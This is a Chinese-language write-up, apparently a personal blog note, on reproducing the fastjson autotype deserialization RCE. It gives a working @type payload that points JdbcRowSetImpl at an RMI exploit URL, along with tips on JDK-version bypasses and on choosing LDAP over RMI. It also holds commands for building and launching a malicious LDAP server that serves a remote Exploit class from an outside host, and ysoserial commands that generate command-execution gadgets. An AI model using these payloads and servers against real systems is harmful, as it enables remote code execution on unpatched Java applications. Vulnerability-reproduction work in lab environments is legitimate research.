fastjson的RCE漏洞复现记录

0x00 关于fastjson

反正是阿里巴巴的一个开源json库,java站都爱用,还有比如Jackson、gson什么的,Jackson也有RCE问题。fastjson主要几次问题都在于autotype,其实我也不太懂autotype,可能@type的形式就叫aotutype吧。
关于开关fastjson的autotype以及白名单配置https://github.com/alibaba/fastjson/wiki/enable_autotype

0x01 关于反序列化

之前的autotype存在反序列化的问题,48版本后又多了个绕过autotype设置的问题,以至于不管你是否开启autotype,使用@type都可以触发反序列化,目前的修复方案好像也只是优化了黑名单,并没有从本质上解决这个问题。
目前出问题的是java.lang.Class可以构造出其他的反序列化利用链,而因为种种问题参考fastjson漏洞分析http://xz.aliyun.com/t/5680可以绕过黑名单和autotypesuport的校验。

0x02 payload

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
本次利用的形式如上,后面的利用链可以更换成以前的其他类似的payload均可以,因此有很多种变种。
将下面这个github里的历史payload改造成上面这种就好了github历史payload

0x03 一些利用

利用的思路可以看看这个文章fastjson利用总结,思路是差不多的,具体payload参考上面那个github改一改,这文章里有个直接执行命令的利用方法可以关注一下(意思是不需要搭建rmi和ldap的那种)
新增:

  1. fastjson\<1.2.58版本的新的利用链https://github.com/mikuKeeper/CVE-2019-12384该利用链同样适用于Jackson,不如说本来也就是Jackson那边爆出来的

    0x04 利用的时候一些重点注意事项

  2. 利用的时候其实会受到目标使用的jdk版本影响,如果要绕过jdk版本的话需要利用的绕过方法也受到目标是否存在对应利用链的问题
  3. 利用的时候ldap和rmi其实一定程度上是等价的,建议使用ldap
  4. 利用的时候ldap能收到目标发送的请求但是没有通过reference请求到web服务获取exploit.class的原因就是前面说的jdk版本问题
  5. ldap收到了请求就可以认为目标存在fastjson漏洞,至于能不能饶过版本限制就是后面的事情了,可以根据这个特性做个批量检测工具
  6. 关于版本饶过的详细总结可以看这个饶过jdk版本限制
  7. 貌似在未开启autotypesuport配置情况下,需要发两次请求触发缓存
  8. 利用时候的exp本身也需要满足jdk版本要求,比较简单的做法是使用jdk6来生成exp

0x05关于测试环境

测试环境可以使用vulhub的fastjson环境,该环境目前已知有两个问题:

  1. centos7可能会出现docker build失败的问题,rm命令执行错误,换个ubuntu就好了
  2. 该环境的jdk版本也是过高导致有限制,因此会导致无法触发reference的http请求从而命令执行问题,饶过参考上面,或者换个jdk版本

关于服务搭建,建议不要搭建rmi服务,因为目前看来和ldap等价,而ldap服务具有饶过的可能,因此直接使用ldap就好了。如果使用饶过则需要修改ladp服务器的部分代码,依旧是参考上面饶过的那篇文章最后提到的那段。bypass的github
关于代码修改后的编译问题:

  1. mvn compile 会生产class文件,会产生不带依赖的jar包
  2. mvn install 不仅会生产class还会生产jar和带依赖的jar
  3. 如果部分版本冲突可以尝试修改pom文件里的版本信息
  4. java -cp Jar 包地址 person.server.LdapServer 就可以启动ldap服务,这个是通过编译的来的jar包里的class启动的server,通过marshalsec的话也是启动的marshalsec包里的ldap服务

0x06 扩展

由于饶过姿势太多,后续可能考虑编写一个统一的检测工具,依赖于修改ldap服务器使其针对不同的请求返回不同的利用链payload,依照这个思路来做检测。

0x07 关于java反序列化

几个工具可以看一下

  1. marshalsec
  2. ysoserial
    Java反序列化备忘录文章备忘录
    javaruntime.exec payload生成
    KM29Nw2ydMpJ8kRz
1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 ‘命令' |base64 | sed ':t;N;s/\n//;b t'> tmp1

//生成基于commonscollections6的payload
启动通过返回属性触发gadget的绕过方式的ldap:

1
java -cp  fastjson-poc-1.0-SNAPSHOT-jar-with-dependencies.jar  person.server.ldap_bypass_jdklimit.Ldap_javaSerializedData http://papa.mikudapangcin:11111/#Exploit 389

可以通过生成多个gadget来绕过限制